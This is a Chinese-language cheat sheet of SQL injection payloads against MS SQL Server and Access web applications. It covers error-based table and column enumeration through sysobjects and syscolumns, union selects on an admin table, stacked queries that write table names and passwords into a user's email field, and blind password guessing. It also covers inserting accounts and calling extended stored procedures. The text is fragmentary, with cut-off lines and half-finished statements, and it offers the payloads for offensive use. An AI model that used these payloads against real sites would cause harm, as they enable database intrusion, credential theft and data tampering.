and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U') 暴到一個表 假設(shè)為 admin
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U' and name not in ('Admin
')) 來得到其他的表。
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin'and uid>(st
r(id))) 暴到 UID 的數(shù)值假設(shè)為 18779569 uid=id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一個 admin 的一個字
段,假設(shè)為 user_id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in('id
',...)) 來暴出其他的字段
and 0<(select user_id from BBS.dbo.admin where username>1) 可以得到用戶名
依次可以得到密碼。。。。。假設(shè)存在 user_id username ,password 等字段
Show.asp?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin
Show.asp?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin
(union 語句到處風(fēng)靡啊,access 也好用

and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U') 得到表名

tr(id))) 判斷 id 值

傳統(tǒng)查詢構(gòu)造:
select * FROM news where id=... AND topic=... AND .....
admin'and 1=(select count(*) from [user] where username='victim' and right(left(userpass,0
1),1)='1') and userpass <>'
select 123;--
;use master;--
:a' or name like 'fff%';-- 顯示有一個叫 ffff 的用戶哈。
'and 1<>(select count(email) from [user]);--
;update [users] set email=(select top 1 name from sysobjects where xtype='u' and status>0)
where name='ffff';--
說明:
上面的語句是得到數(shù)據(jù)庫中的第一個用戶表,并把表名放在 ffff 用戶的郵箱字段中。
通過查看 ffff 的用戶資料可得第一個用表叫 ad
然后根據(jù)表名 ad 得到這個表的 ID
ffff';update [users] set email=(select top 1 id from sysobjects where xtype='u' and name='a
d') where name='ffff';--
象下面這樣就可以得到第二個表的名字了
ffff';update [users] set email=(select top 1 name from sysobjects where xtype='u' and id>58
1577110) where name='ffff';--<
BR> ffff';update [users] set email=(select top 1 count(id) from password) where name='ffff';
--
ffff';update [users] set email=(select top 1 pwd from password where id=2) where name='ffff

擴(kuò)展存儲就可以通過一般的方法調(diào)用:
exec xp_webserver
一旦這個擴(kuò)展存儲執(zhí)行過,可以這樣刪除它:

insert into users values( 667,123,123,0xffff)-
insert into users values ( 123, 'admin''--', 'password', 0xffff)-
;and user>0
;;and (select count(*) from sysobjects)>0

-----------------------------------------------------------通常注射的一些介紹:
A) ID=49 這類注入的參數(shù)是數(shù)字型,SQL 語句原貌大致如下:
select * from 表名 where 字段=49
注入的參數(shù)為 ID=49 And [查詢條件],即是生成語句:
select * from 表名 where 字段=49 And [查詢條件]
(B) Class=連續(xù)劇 這類注入的參數(shù)是字符型,SQL 語句原貌大致概如下:
select * from 表名 where 字段='連續(xù)劇'
注入的參數(shù)為 Class=連續(xù)劇' and [查詢條件] and ''=' ,即是生成語句:
select * from 表名 where 字段='連續(xù)劇' and [查詢條件] and ''=''
(C) 搜索時沒過濾參數(shù)的,如 keyword=關(guān)鍵字,SQL 語句原貌大致如下:
select * from 表名 where 字段 like '%關(guān)鍵字%'
注入的參數(shù)為 keyword=' and [查詢條件] and '%25'=', 即是生成語句:
select * from 表名 where 字段 like '%' and [查詢條件] and '%'='%'
;;and (select Top 1 name from sysobjects where xtype='U' and status>0)>0
sysobjects 是 SQLServer 的系統(tǒng)表,存儲著所有的表名、視圖、約束及其它對象,xtype='U' and status>0,
表示用戶建立的表名,上面的語句將第一個表名取出,與 0 比較大小,讓報錯信息把表名暴露出來。
;;and (select Top 1 col_name(object_id('表名'),1) from sysobjects)>0
從⑤拿到表名后,用 object_id('表名')獲取表名對應(yīng)的內(nèi)部 ID,col_name(表名 ID,1)代表該表的第 1 個字段
名,將 1 換成 2,3,4...就可以逐個獲取所猜解表里面的字段名。
post.htm 內(nèi)容:主要是方便輸入。
枚舉出他的數(shù)據(jù)表名:
id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>
0);--
這是將第一個表名更新到 aaa 的字段處。
讀出第一個表,第二個表可以這樣讀出來(在條件后加上 and name<>'剛才得到的表名')。
id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0
and name<>'vote');--
然后 id=1552 and exists(select * from aaa where aaa>5)
讀出第二
表,^^^^^^一個個的讀出,直到?jīng)]有為止。
讀字段是這樣:
id=1552;update aaa set aaa=(select top 1 col_name(object_id('表名'),1));--
然后 id=1552 and exists(select * from aaa where aaa>5)出錯,得到字段名
id=1552;update aaa set aaa=(select top 1 col_name(object_id('表名'),2));--
然后 id=1552 and exists(select * from aaa where aaa>5)出錯,得到字段名
--------------------------------高級技巧:
[獲得數(shù)據(jù)表名][將字段值更新為表名,再想法讀出這個字段的值就可得到表名]
update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and nam
e<>'你得到的表名' 查出一個加一個]) [ where 條件]
select top 1 name from sysobjects where xtype=u and status>0 and name not in('table1','tabl
e2',…)
通過 SQLSERVER 注入漏洞建數(shù)據(jù)庫管理員帳號和系統(tǒng)管理員帳號[當(dāng)前帳號必須是 SYSADMIN 組]
[獲得數(shù)據(jù)表字段名][將字段值更新為字段名,再想法讀出這個字段的值就可得到字段名]
update 表名 set 字段=(select top 1 col_name(object_id('要查詢的數(shù)據(jù)表名'),字段列如:1) [ where
